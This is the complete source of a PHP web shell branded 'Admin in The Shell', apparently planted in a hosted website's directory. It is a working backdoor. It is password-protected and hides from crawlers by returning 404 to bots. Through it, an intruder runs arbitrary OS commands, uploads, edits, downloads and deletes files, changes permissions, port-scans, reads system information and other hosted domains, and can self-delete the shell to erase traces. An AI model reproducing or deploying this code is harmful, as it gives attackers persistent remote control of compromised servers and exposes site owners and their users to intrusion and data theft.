/home/dawaihou/bz.dawaihouse.com/0x6.php
<?php 
error_reporting(0);
session_start();

// --- [SECURITY CONFIG] ---
$hashed_password = '$2a$12$jCAHuI8AK/uzLwZmVrL6jeo9Bw3FlPIu2KBYsC6YREstsxbPagVii'; 

// Bot Blocker
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
    $bots = ['Googlebot', 'Slurp', 'MSNBot', 'PycURL', 'facebookexternalhit', 'ia_archiver', 'crawler', 'Yandex', 'Rambler', 'Yahoo! Slurp', 'YahooSeeker', 'bingbot', 'curl'];
    if (preg_match('/' . implode('|', $bots) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

// --- [AUTHENTICATION] ---
if(!isset($_SESSION['gits_login'])) {
    if(isset($_POST['pass']) && password_verify($_POST['pass'], $hashed_password)) {
        $_SESSION['gits_login'] = true;
        header("Location: ?"); 
        exit;
    } else {
// Login Form (Menggunakan style Light Mode)
        echo '<style>body{background:#f8f8f8;color:#333;font-family:monospace;display:flex;justify-content:center;align-items:center;height:100vh;}form{border:1px solid #ccc;padding:30px;background:#fff;border-radius:8px;box-shadow: 0 0 15px rgba(0, 0, 0, 0.1);}input{background:white;color:#333;border:1px solid #ccc;padding:10px;margin:5px;border-radius:4px;}input[type=submit]{background:#007bff;color:white;cursor:pointer;}</style>';
        echo '<form method="POST"><input type="password" name="pass" placeholder="Enter Password" autofocus><input type="submit" value="Login"></form>';
        exit;
    }
}

// --- [PATH RESOLUTION] ---
$raw_path = isset($_GET['path']) ? urldecode($_GET['path']) : getcwd();
$raw_path = str_replace("\0", '', trim($raw_path));
if ($raw_path === '') { $raw_path = getcwd(); }

if (!preg_match('#^(?:/|[A-Za-z]:\\\\)#', $raw_path)) {
    $try_path = getcwd() . DIRECTORY_SEPARATOR . ltrim($raw_path, './\\');
} else {
    $try_path = $raw_path;
}

$resolved_path = @realpath($try_path);
if ($resolved_path === false && file_exists($try_path)) {
    $current_path = $try_path;
} elseif ($resolved_path) {
    $current_path = $resolved_path;
} else {
    $current_path = getcwd();
}
if (!file_exists($current_path)) { $current_path = getcwd(); }

$breadcrumbs = [];
$parts = explode(DIRECTORY_SEPARATOR, trim($current_path, DIRECTORY_SEPARATOR));
$accum_path = DIRECTORY_SEPARATOR;
foreach ($parts as $part) {
    if ($part === '') continue;
    $accum_path .= $part . DIRECTORY_SEPARATOR;
    $breadcrumbs[] = ['name'=>$part,'path'=>$accum_path];
}

// ----------------------------------------------------------------------
$message = '';
$rename_form = '';
$current_tab = isset($_GET['tab']) ? $_GET['tab'] : 'filemanager';
$command_output = '';
$file_to_edit = '';
$tool_output = '';

// --- [HELPER FUNCTIONS] ---

function perms($file_path) {
    return substr(sprintf('%o', fileperms($file_path)), -4);
}

function format_size($bytes) {
    if ($bytes >= 1073741824) {
        return number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        return number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        return number_format($bytes / 1024, 2) . ' KB';
    } else {
        return $bytes . ' bytes';
    }
}

function get_file_icon($file) {
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    $icons = [
        'php' => '🔵', 'html' => '🌐', 'css' => '🎨', 'js' => '📜',
        'txt' => '📄', 'pdf' => '📕', 'zip' => '📦', 'jpg' => '🖼️',
        'png' => '🖼️', 'gif' => '🖼️', 'sql' => '🗃️', 'xml' => '📋',
        'json' => '📋', 'log' => '📋', 'md' => '📝'
    ];
    return $icons[$ext] ?? '📄';
}

// --- [DIRECTORY DELETE] ---
function delete_dir_recursive($dir) {
    if (!is_dir($dir)) {
        return false;
    }
    $files = array_diff(scandir($dir), array('.', '..'));
    foreach ($files as $file) {
        (is_dir("$dir/$file")) ? delete_dir_recursive("$dir/$file") : unlink("$dir/$file");
    }
    return rmdir($dir);
}


// --- [HANDLE ACTIONS] ---

// Handle Upload
if(isset($_FILES['up'])) {
    $file_name = basename($_FILES['up']['name']);
    $target_path = $current_path . DIRECTORY_SEPARATOR . $file_name;
    
    if(move_uploaded_file($_FILES['up']['tmp_name'], $target_path)) {
        $message = "Upload Success: $file_name";
    } else {
        $message = "Upload Failed! Check permissions.";
    }
    header("Location: ?path=" . urlencode($current_path) . "&msg=" . urlencode($message));
    exit;
}

// --- (KILL ME)] ---
if(isset($_GET['act']) && $_GET['act'] == 'killme') {
    $self_path = __FILE__; 
    
    echo "<script>alert('Executing Self-Destruct Sequence...');</script>";
    
    if(unlink($self_path)) {
        session_destroy();
        // Redirect ke root
        header("Location: /"); 
        exit;
    } else {
        $message = "Self-Deletion Failed! Check file permissions.";
        header("Location: ?path=" . urlencode($current_path) . "&msg=" . urlencode($message));
        exit;
    }
}

// Handle Delete 
if(isset($_GET['act']) && $_GET['act'] == 'del' && isset($_GET['file'])) {
    $file_name = basename($_GET['file']);
    $target_path = $current_path . DIRECTORY_SEPARATOR . $file_name;

    if(is_file($target_path)) {
        if(unlink($target_path)) {
            $message = "Deleted File: $file_name";
        } else {
            $message = "Failed to delete file: $file_name";
        }
    } else if (is_dir($target_path)) {
        if(delete_dir_recursive($target_path)) { // Menggunakan fungsi rekursif
            $message = "Directory Deleted Recursively: $file_name";
        } else {
            $message = "Failed to delete directory: $file_name (Check permissions)";
        }
    }
    header("Location: ?path=" . urlencode($current_path) . "&msg=" . urlencode($message));
    exit;
}

// Handle Rename
if(isset($_POST['ren']) && isset($_POST['oldname']) && isset($_POST['newname'])) {
    $old_name = basename($_POST['oldname']);
    $new_name = basename($_POST['newname']);
    $old_path = $current_path . DIRECTORY_SEPARATOR . $old_name;
    $new_path = $current_path . DIRECTORY_SEPARATOR . $new_name;

    if(rename($old_path, $new_path)) {
        $message = "Renamed $old_name to $new_name";
    } else {
        $message = "Failed to rename!";
    }
    header("Location: ?path=" . urlencode($current_path) . "&msg=" . urlencode($message));
    exit;
}

// Handle Rename
if(isset($_GET['act']) && $_GET['act'] == 'rename' && isset($_GET['file'])) {
    $f = htmlspecialchars(basename($_GET['file']));
    $rename_form = '
        <form method="POST">
            <p>Rename <strong>'.$f.'</strong> to:</p> 
            <input type="text" name="newname" value="'.$f.'">
            <input type="hidden" name="oldname" value="'.$f.'">
            <input type="submit" name="ren" value="Rename">
        </form>';
}

// Handle Command Execution
if(isset($_POST['cmd'])) {
    $command = $_POST['cmd'];
    $cmd_prefix = "\n\n[CMD: $command | User: ". (function_exists('whoami') ? whoami() : 'N/A') ." | PWD: $current_path]\n";
    
    if(function_exists('shell_exec')) {
        $command_output = $cmd_prefix . shell_exec($command . ' 2>&1');
    } else if(function_exists('system')) {
        ob_start();
        system($command);
        $command_output = $cmd_prefix . ob_get_clean();
    } else if(function_exists('exec')) {
        exec($command, $output);
        $command_output = $cmd_prefix . implode("\n", $output);
    } else {
        $command_output = $cmd_prefix . "Command execution functions disabled";
    }
    $current_tab = 'command'; // Pindah ke tab command setelah eksekusi
}

// Handle File Edit
if(isset($_POST['edit_file']) && isset($_POST['file_content']) && isset($_POST['file_path'])) {
    $file_path = $_POST['file_path'];
    $content = $_POST['file_content'];
    if(file_put_contents($file_path, $content)) {
        $message = "File saved successfully";
    } else {
        $message = "Failed to save file";
    }
}

// Handle File View/Edit Request
if(isset($_GET['act']) && $_GET['act'] == 'edit' && isset($_GET['file'])) {
    $file_to_edit = $current_path . DIRECTORY_SEPARATOR . basename($_GET['file']);
    if(is_file($file_to_edit) && is_readable($file_to_edit)) {
        // [IMPROVED: FILE SIZE CHECK] - Batasi file yang terlalu besar
        if(filesize($file_to_edit) > 5 * 1024 * 1024) { // 5MB limit
            $message = "File too large to edit in browser (max 5MB). Please download it.";
            header("Location: ?path=" . urlencode($current_path) . "&msg=" . urlencode($message));
            exit;
        }
        $file_content = htmlspecialchars(file_get_contents($file_to_edit));
        $current_tab = 'editor';
    } else {
        $message = "File not found or not readable.";
        header("Location: ?path=" . urlencode($current_path) . "&msg=" . urlencode($message));
        exit;
    }
}

// Handle New File/Dir Creation
if(isset($_POST['new_file_name']) || isset($_POST['new_dir_name'])) {
    if(isset($_POST['new_file_name'])) {
        $new_item = $current_path . DIRECTORY_SEPARATOR . basename($_POST['new_file_name']);
        if(touch($new_item)) {
            $message = "File created: " . basename($_POST['new_file_name']);
        } else {
            $message = "Failed to create file";
        }
    } else {
        $new_item = $current_path . DIRECTORY_SEPARATOR . basename($_POST['new_dir_name']);
        if(mkdir($new_item)) {
            $message = "Directory created: " . basename($_POST['new_dir_name']);
        } else {
            $message = "Failed to create directory";
        }
    }
    header("Location: ?path=" . urlencode($current_path) . "&msg=" . urlencode($message));
    exit;
}

// Handle File Download
if(isset($_GET['act']) && $_GET['act'] == 'download' && isset($_GET['file'])) {
    $file_to_download = $current_path . DIRECTORY_SEPARATOR . basename($_GET['file']);
    if(is_file($file_to_download) && is_readable($file_to_download)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($file_to_download).'"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($file_to_download));
        readfile($file_to_download);
        exit;
    }
}

// Handle File Permissions Change
if(isset($_POST['chmod_file']) && isset($_POST['file_path']) && isset($_POST['permissions'])) {
    $file_path = $_POST['file_path'];
    $permissions = octdec($_POST['permissions']);
    if(chmod($file_path, $permissions)) {
        $message = "Permissions changed successfully";
    } else {
        $message = "Failed to change permissions";
    }
}

if(isset($_GET['msg'])) {
    $message = htmlspecialchars($_GET['msg']);
}

// --- [HANDLE TOOLS LOGIC] ---

// Handle String Manipulation
if(isset($_POST['str_tool']) && isset($_POST['str_input'])) {
    $str_input = $_POST['str_input'];
    $str_tool = $_POST['str_tool'];
    $current_tab = 'tools';

    if ($str_tool == 'base64_encode') {
        $tool_output = base64_encode($str_input);
    } elseif ($str_tool == 'base64_decode') {
        $tool_output = base64_decode($str_input);
    } elseif ($str_tool == 'url_encode') {
        $tool_output = urlencode($str_input);
    } elseif ($str_tool == 'url_decode') {
        $tool_output = urldecode($str_input);
    } elseif ($str_tool == 'md5_hash') {
        $tool_output = md5($str_input);
    } elseif ($str_tool == 'sha256_hash') {
        $tool_output = hash('sha256', $str_input);
    } else {
        $tool_output = "Invalid tool selected.";
    }
}

// Handle Port Scanner (Sederhana)
if (isset($_POST['scan_host']) && isset($_POST['scan_port'])) {
    $scan_host = trim($_POST['scan_host']);
    $scan_port = intval($_POST['scan_port']);
    $current_tab = 'tools';
    $tool_output = "Scanning Port $scan_port on $scan_host...\n";

    if (empty($scan_host) || $scan_port < 1 || $scan_port > 65535) {
        $tool_output .= "Error: Invalid host or port.";
    } else {
        $fp = @fsockopen($scan_host, $scan_port, $errno, $errstr, 1);
        if ($fp) {
            $tool_output .= "Result: Port $scan_port is OPEN (Connected successfully).\n";
            fclose($fp);
        } else {
            $tool_output .= "Result: Port $scan_port is CLOSED or filtered. ($errstr)";
        }
    }
}


function get_system_folders() {
    $common_folders = [
        '/' => 'Root Directory',
        '/etc' => 'Configuration Files',
        '/home' => 'User Home Directories',
        '/var/www' => 'Web Server Root',
        '/var/log' => 'System Logs',
        '/tmp' => 'Temporary Files',
    ];
    
    $available_folders = [];
    foreach($common_folders as $folder => $description) {
        if(is_dir($folder) && is_readable($folder)) {
            $available_folders[$folder] = $description;
        }
    }
    
    return $available_folders;
}

// Get files and directories
$files = @scandir($current_path) ?: [];
$system_folders = get_system_folders();
?>

<style>
    /* ---------------------------------------------------- */
    /* 1. CSS VARIABLES FOR THEME */
    /* ---------------------------------------------------- */
    :root {
        /* LIGHT MODE (Default - Putih Bersih) */
        --bg-color: #f0f2f5;
        --card-bg: #ffffff;
        --text-color: #333;
        --border-color: #e0e0ee;
        --input-border: #ced4da;
        --header-bg: #f1f1f1;
        --code-bg: #333;
        --code-text: #00ff00;
        --link-color: #007bff;
        --link-hover: #0056b3;
    }

    .dark-mode {
        /* DARK MODE */
        --bg-color: #121212;
        --card-bg: #1e1e1e;
        --text-color: #e0e0e0;
        --border-color: #333333;
        --input-border: #444444;
        --header-bg: #1a1a1a;
        --code-bg: #000000;
        --code-text: #00ff00;
        --link-color: #4da6ff;
        --link-hover: #7ab8ff;
    }

    /* ---------------------------------------------------- */
    /* 2. BASE STYLES USING VARIABLES */
    /* ---------------------------------------------------- */
    body { 
        background-color: var(--bg-color);
        color: var(--text-color);
        font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; 
        margin: 25px; 
        transition: background-color 0.3s, color 0.3s;
    }
    
    /* link */
    a { 
        color: var(--link-color); 
        text-decoration: none; 
        font-weight: 500; 
        transition: color 0.2s;
    }
    a:hover { 
        color: var(--link-hover); 
        text-decoration: underline; 
    }

    /* Card & Container*/
    .card {
        background-color: var(--card-bg);
        border: 1px solid var(--border-color);
        border-radius: 8px;
        padding: 20px;
        margin-bottom: 20px;
        box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1);
        transition: background-color 0.3s, border-color 0.3s, box-shadow 0.3s;
    }
    .quick-actions-container {
        padding: 15px 20px;
    }

    /* Header */
    .header { 
        padding-bottom: 15px; 
        margin-bottom: 20px;
        border-bottom: 1px solid var(--border-color);
    }
    .path a { 
        color: var(--link-color); 
    }

    /* Input & Kontrol */
    input, select, button, [type=submit], textarea { 
        background: var(--card-bg);
        color: var(--text-color); 
        border: 1px solid var(--input-border);
        padding: 8px 12px; 
        margin: 2px; 
        border-radius: 4px; 
        transition: all 0.2s;
        box-sizing: border-box; 
    }
    input:focus, textarea:focus {
        border-color: var(--link-color);
        outline: none;
        box-shadow: 0 0 5px rgba(0, 123, 255, 0.25);
    }
    [type=submit] {
        background-color: var(--link-color);
        color: white;
        cursor: pointer;
    }
    [type=submit]:hover {
        background-color: var(--link-hover);
    }
    textarea { width: 100%; height: 400px; }

    .message { 
        background: #e9f7ef; 
        border: 1px solid #c3e6cb; 
        color: #155724;
        padding: 10px; 
        margin-bottom: 15px; 
        border-radius: 4px;
        box-shadow: 0 2px 4px rgba(0, 0, 0, 0.05);
    }

    /* Tabel (File Manager) */
    table { 
        width: 100%; 
        border-collapse: collapse; 
        margin-top: 15px; 
        box-shadow: none;
        background-color: var(--card-bg);
    }
    th, td { 
        border: 1px solid var(--border-color);
        padding: 10px; 
    }
    th { 
        background: var(--header-bg); 
        text-align: left;
        color: var(--text-color);
    }
    tr:hover { 
        background: var(--header-bg); 
    }
    
    /* Tabs Navigasi */
    .nav-tabs { margin: 20px 0 0; border-bottom: 2px solid var(--border-color); }
    .nav-tabs a { 
        display: inline-block; 
        padding: 10px 15px; 
        margin-right: 5px; 
        border: 1px solid var(--border-color);
        border-bottom: none;
        background: var(--header-bg);
        border-top-left-radius: 4px;
        border-top-right-radius: 4px;
        transition: background 0.3s;
    }
    .nav-tabs a:hover {
        background: var(--border-color);
    }
    .nav-tabs a.active { 
        background: var(--card-bg); 
        border-top: 2px solid var(--link-color);
        border-bottom: 1px solid var(--card-bg);
    }
    .tab-content { 
        background: var(--card-bg);
        border: 1px solid var(--border-color);
        border-top: none;
        box-shadow: 0 4px 12px rgba(0, 0, 0, 0.05);
    }
    
    /* Command Output */
    .cmd-output { 
        background: var(--code-bg); 
        color: var(--code-text); 
        padding: 15px; 
        border: 1px solid var(--input-border); 
        font-family: monospace;
        white-space: pre-wrap; 
        border-radius: 4px;
        transition: background-color 0.3s, border-color 0.3s;
    }
    
    /* Action Links*/
    .action-links a { 
        margin-right: 8px;
        font-size: 14px;
    }
    .action-links a:last-child { color: #dc3545; }
    .action-links a:nth-last-child(2) { color: #ffc107; } 
    .action-links a:nth-last-child(3) { color: #ffc107; } 
    .action-links a:first-child { color: #28a745; }
    
    /* Kill Me Link */
    .killme-container {
        text-align: right; 
        margin-top: 10px;
    }
    .killme-container a {
        border: 1px solid #dc3545 !important; 
        color: #dc3545 !important; 
        padding: 5px 10px; 
        border-radius: 4px; 
        background: var(--card-bg);
    }

    /* ---------------------------------------------------- */
    /* 3. MODE TOGGLE STYLES */
    /* ---------------------------------------------------- */
    #mode-toggle-container {
        position: fixed;
        top: 20px;
        right: 20px;
        z-index: 1000;
    }
    #mode-toggle-btn {
        background: var(--card-bg);
        border: 1px solid var(--border-color);
        border-radius: 50%;
        width: 40px;
        height: 40px;
        display: flex;
        align-items: center;
        justify-content: center;
        cursor: pointer;
        font-size: 20px;
        box-shadow: 0 2px 5px rgba(0, 0, 0, 0.2);
        color: var(--text-color);
        transition: all 0.3s;
    }
    #mode-toggle-btn:hover {
        background: var(--header-bg);
    }
</style>

<div id="mode-toggle-container">
    <button id="mode-toggle-btn" title="Toggle Dark/Light Mode">
        <span id="mode-icon">🌙</span>
    </button>
</div>

<div class="header">
    <h2>👻 Admin in The Shell</h2>
    <p><b>Current Path: <code><?php echo htmlspecialchars($current_path); ?></code></b></p>
    
    <div class="path">
        <?php
        echo '<div style="margin-bottom:10px;">';
        echo '<a href="?path=/" style="text-decoration:none;">Root</a>';
        foreach ($breadcrumbs as $bc) {
            echo ' &raquo; ';
            echo '<a href="?path=' . urlencode($bc['path']) . '" style="text-decoration:none;">' . htmlspecialchars($bc['name']) . '</a>';
        }
        echo '</div>';

        // up one
        $parent_path = dirname(rtrim($current_path, DIRECTORY_SEPARATOR)) . DIRECTORY_SEPARATOR;
        if ($parent_path !== $current_path) {
            echo '<a href="?path=' . urlencode($parent_path) . '">../ Up One Level</a><br>';
        }
        ?>
    </div>
</div>

<?php
if($message) {
    echo "<div class='message'>$message</div>";
}
if(isset($rename_form) && $rename_form) {
    echo '<div class="card">' . $rename_form . '</div>';
}
?>

<hr>
<div class="card quick-actions-container">
    <h3>Quick Actions</h3>

    <div style="margin-bottom: 10px;">
        <form method="POST" style="display: inline-block;">
            <input type="text" name="new_file_name" placeholder="New file name" required>
            <input type="submit" value="Create File">
        </form>

        <form method="POST" style="display: inline-block;">
            <input type="text" name="new_dir_name" placeholder="New directory name" required>
            <input type="submit" value="Create Directory">
        </form>
    </div>

    <form method="POST" enctype="multipart/form-data" style="margin-top:5px;">
        <input type="file" name="up" style="border: 1px solid var(--input-border);">
        <input type="submit" value="Upload File">
    </form>
</div>
<hr>

<div class="killme-container">
    <a href="?path=<?php echo urlencode($current_path); ?>&act=killme" 
       onclick="return confirm('WARNING: Are you sure you want to delete this file manager? This action is irreversible.');"
       style="font-weight: bold;">
       ☠️ Kill Me
    </a>
</div>


<div class="nav-tabs">
    <a href="?path=<?php echo urlencode($current_path); ?>&tab=filemanager" class="<?php echo $current_tab == 'filemanager' ? 'active' : ''; ?>"> File Manager</a>
    <a href="?path=<?php echo urlencode($current_path); ?>&tab=command" class="<?php echo $current_tab == 'command' ? 'active' : ''; ?>"> Command</a>
    <a href="?path=<?php echo urlencode($current_path); ?>&tab=tools" class="<?php echo $current_tab == 'tools' ? 'active' : ''; ?>"> 🛠️ Tools</a>
    <a href="?path=<?php echo urlencode($current_path); ?>&tab=info" class="<?php echo $current_tab == 'info' ? 'active' : ''; ?>"> System Info</a>
</div>

<div class="tab-content">
<?php if($current_tab == 'filemanager'): ?>
    <table>
        <tr>
            <th>Name</th>
            <th>Size</th>
            <th>Permissions</th>
            <th>Owner</th>
            <th>Modified</th>
            <th>Actions</th>
        </tr>
        
        <?php
        // Parent directory
        $parent_path = dirname($current_path);
        if($parent_path != $current_path):
        ?>
        <tr>
            <td class="file-name"><a href="?path=<?php echo urlencode($parent_path); ?>">📁 [..]</a></td>
            <td>-</td>
            <td>-</td>
            <td>-</td>
            <td>-</td>
            <td>-</td>
        </tr>
        <?php endif; ?>

        <?php
        $folders = [];
        $files_list = [];
        foreach($files as $file) {
            if($file == '.' || $file == '..') continue;
            $filepath = $current_path . DIRECTORY_SEPARATOR . $file;
            if(is_dir($filepath)) {
                $folders[] = $file;
            } else {
                $files_list[] = $file;
            }
        }
        
        // Folder
        foreach($folders as $file):
            $filepath = $current_path . DIRECTORY_SEPARATOR . $file;
            $link = "?path=" . urlencode($current_path) . "&file=" . urlencode($file);
            $owner = function_exists('posix_getpwuid') ? posix_getpwuid(fileowner($filepath))['name'] : fileowner($filepath);
            $modified = date('Y-m-d H:i:s', filemtime($filepath));
        ?>
        <tr>
            <td class="file-name">
                <a href="?path=<?php echo urlencode($filepath); ?>">📁 <?php echo htmlspecialchars($file); ?></a>
            </td>
            <td>-</td>
            <td><?php echo perms($filepath); ?></td>
            <td><?php echo $owner; ?></td>
            <td><?php echo $modified; ?></td>
            <td class="action-links">
                <a href="<?php echo $link; ?>&act=rename">R</a> | 
                <a href="<?php echo $link; ?>&act=del" onclick="return confirm('Delete folder <?php echo $file; ?> recursively?');">X</a>
            </td>
        </tr>
        <?php endforeach; ?>

        <?php
        // File
        foreach($files_list as $file):
            $filepath = $current_path . DIRECTORY_SEPARATOR . $file;
            $link = "?path=" . urlencode($current_path) . "&file=" . urlencode($file);
            $owner = function_exists('posix_getpwuid') ? posix_getpwuid(fileowner($filepath))['name'] : fileowner($filepath);
            $modified = date('Y-m-d H:i:s', filemtime($filepath));
        ?>
        <tr>
            <td class="file-name"><?php echo get_file_icon($file); ?> <?php echo htmlspecialchars($file); ?></td>
            <td><?php echo format_size(filesize($filepath)); ?></td>
            <td><?php echo perms($filepath); ?></td>
            <td><?php echo $owner; ?></td>
            <td><?php echo $modified; ?></td>
            <td class="action-links">
                <a href="<?php echo $link; ?>&act=edit">E</a> | 
                <a href="<?php echo $link; ?>&act=rename">R</a> | 
                <a href="<?php echo $link; ?>&act=download">D</a> | 
                <a href="<?php echo $link; ?>&act=del" onclick="return confirm('Delete file <?php echo $file; ?>?');">X</a>
            </td>
        </tr>
        <?php endforeach; ?>
    </table>

<?php elseif($current_tab == 'command'): ?>
    <h3>Command Execution</h3>
    <form method="POST">
        <input type="text" name="cmd" placeholder="Enter command (e.g., ls -la, whoami, pwd)" style="width: 70%;">
        <input type="submit" value="Execute">
    </form>
    
    <?php if($command_output): ?>
        <h4>Command Output:</h4>
        <div class="cmd-output"><?php echo htmlspecialchars($command_output); ?></div>
    <?php endif; ?>
    
        <h4>Quick Commands:</h4>
    <div style="margin: 10px 0;">
        <?php
        $quick_commands = [
    'System Info' => 'uname -a',
    'Current User' => 'whoami',
    'Process List' => 'ps aux',
    'Network Info (IP)' => '/sbin/ifconfig || /bin/ip addr || ip addr',
    'Disk Usage' => 'df -h',
    'Memory Info' => 'free -h',
    'PHP Version' => '/usr/bin/php -v || /usr/local/bin/php -v || php -v',
];
        
        foreach($quick_commands as $label => $cmd): ?>
            <form method="POST" style="display: inline-block; margin: 2px;">
                <input type="hidden" name="cmd" value="<?php echo htmlspecialchars($cmd); ?>">
                <input type="submit" value="<?php echo $label; ?>" style="font-size: 12px; padding: 3px 6px;">
            </form>
        <?php endforeach; ?>
    </div>


<?php elseif($current_tab == 'tools'): ?>
    <h3>🛠️ Security Tools</h3>
    
    <div class="card" style="padding: 15px;">
        <h4>String Encoder/Decoder & Hashing</h4>
        <form method="POST">
            <input type="hidden" name="tab" value="tools">
            <textarea name="str_input" placeholder="Enter string or hash here..." style="height: 100px;"><?php echo isset($_POST['str_input']) ? htmlspecialchars($_POST['str_input']) : ''; ?></textarea><br>
            
            <select name="str_tool" style="width: auto; margin-right: 10px;">
                <option value="base64_encode">Base64 Encode</option>
                <option value="base64_decode">Base64 Decode</option>
                <option value="url_encode">URL Encode</option>
                <option value="url_decode">URL Decode</option>
                <option disabled>--- Hashing ---</option>
                <option value="md5_hash">MD5 Hash</option>
                <option value="sha256_hash">SHA256 Hash</option>
            </select>
            <input type="submit" value="Process String">
        </form>

        <?php if (!empty($tool_output) && !isset($_POST['scan_host'])): ?>
            <h5 style="margin-top: 15px;">Output:</h5>
            <div class="cmd-output" style="color: var(--text-color); background: var(--header-bg); border: 1px solid var(--border-color);"><?php echo htmlspecialchars($tool_output); ?></div>
        <?php endif; ?>
    </div>
    
    <div class="card" style="padding: 15px;">
        <h4>Port Scanner (TCP)</h4>
        <form method="POST">
            <input type="hidden" name="tab" value="tools">
            <input type="text" name="scan_host" placeholder="Host/IP (e.g., example.com)" style="width: 45%;">
            <input type="number" name="scan_port" placeholder="Port (e.g., 80, 443, 22)" style="width: 20%;">
            <input type="submit" value="Scan Port">
        </form>
        
        <?php if (!empty($tool_output) && isset($_POST['scan_host'])): ?>
            <h5 style="margin-top: 15px;">Scan Result:</h5>
            <div class="cmd-output"><?php echo nl2br(htmlspecialchars($tool_output)); ?></div>
        <?php endif; ?>
    </div>


<?php elseif($current_tab == 'editor'): ?>
    <h3>File Editor</h3>
    
    <?php if(isset($file_content)): ?>
        <form method="POST">
            <input type="hidden" name="file_path" value="<?php echo htmlspecialchars($file_to_edit); ?>">
            <textarea name="file_content"><?php echo $file_content; ?></textarea><br>
            <input type="submit" name="edit_file" value="Save File">
        </form>
    <?php else: ?>
        <p>Select a file to edit from the File Manager tab.</p>
    <?php endif; ?>

<?php elseif($current_tab == 'info'): ?>
    <h3>System Information</h3>
    
    <table>
        <tr><td><strong>PHP Version:</strong></td><td><?php echo phpversion(); ?></td></tr>
        <tr><td><strong>Server Software:</strong></td><td><?php echo $_SERVER['SERVER_SOFTWARE'] ?? 'N/A'; ?></td></tr>
        <tr><td><strong>Server IP:</strong></td><td><?php echo $_SERVER['SERVER_ADDR'] ?? 'N/A'; ?></td></tr>
        <tr><td><strong>Client IP:</strong></td><td><?php echo $_SERVER['REMOTE_ADDR'] ?? 'N/A'; ?></td></tr>
        <tr><td><strong>Current Directory:</strong></td><td><?php echo getcwd(); ?></td></tr>
        <tr><td><strong>Operating System:</strong></td><td><?php echo php_uname(); ?></td></tr>
        <tr><td><strong>Current User:</strong></td><td><?php echo function_exists('get_current_user') ? get_current_user() : 'N/A'; ?></td></tr>
        <tr><td><strong>Disabled Functions:</strong></td><td><?php echo ini_get('disable_functions') ?: 'None'; ?></td></tr>
        <tr><td><strong>Safe Mode:</strong></td><td><?php echo ini_get('safe_mode') ? 'Enabled' : 'Disabled'; ?></td></tr>
    </table>
    
    <h4>PHP Extensions:</h4>
    <div style="max-height: 200px; overflow-y: auto; background: var(--card-bg); padding: 10px; border: 1px solid var(--border-color);">
        <?php
        $extensions = get_loaded_extensions();
        echo implode(', ', $extensions);
        ?>
    </div>

<?php endif; ?>
</div>

<hr>
<?php
// --- [DOMAIN COUNTING LOGIC] ---
$current_dir = __DIR__;

$scan_dir = dirname(dirname($current_dir)); 

if (strlen($scan_dir) < 6) { 
    $scan_dir = '/var/www/'; 
}

$items = @scandir($scan_dir) ?: [];
$domain_count = 0;
$valid_domains = [];

$ignore_list = ['.', '..', 'bin', 'etc', 'logs', 'tmp', 'mail', 'ssl', 'sessions', 'public_html', 'www', 'cgi-bin', 'webmail'];

foreach($items as $item){
    if (in_array($item, $ignore_list)) continue;
    
    $full = $scan_dir . DIRECTORY_SEPARATOR . $item;
 
    if(is_dir($full) && strpos($item, '.') !== false) {
        $domain_count++;
        $valid_domains[] = $item;
    }
}
?>

<div style="text-align: center; color: #666; font-size: 12px;">
    Admin in the Shell | 6ickzone | **<?php echo $domain_count; ?> Domains Available**
</div>

<script>
    const body = document.body;
    const toggleBtn = document.getElementById('mode-toggle-btn');
    const modeIcon = document.getElementById('mode-icon');
    
    // 1. Fungsi untuk mengatur mode
    function setMode(isDark) {
        if (isDark) {
            body.classList.add('dark-mode');
            modeIcon.textContent = '☀️'; // Matahari untuk Light Mode
            localStorage.setItem('theme', 'dark');
        } else {
            body.classList.remove('dark-mode');
            modeIcon.textContent = '🌙'; // Bulan untuk Dark Mode
            localStorage.setItem('theme', 'light');
        }
    }

    // 2. Load preferensi saat halaman dimuat
    const savedTheme = localStorage.getItem('theme');
    if (savedTheme === 'dark') {
        setMode(true);
    } else if (savedTheme === 'light') {
        setMode(false);
    } 

    // 3. Event listener untuk tombol toggle
    toggleBtn.addEventListener('click', () => {
        const isDark = body.classList.contains('dark-mode');
        setMode(!isDark);
    });
</script>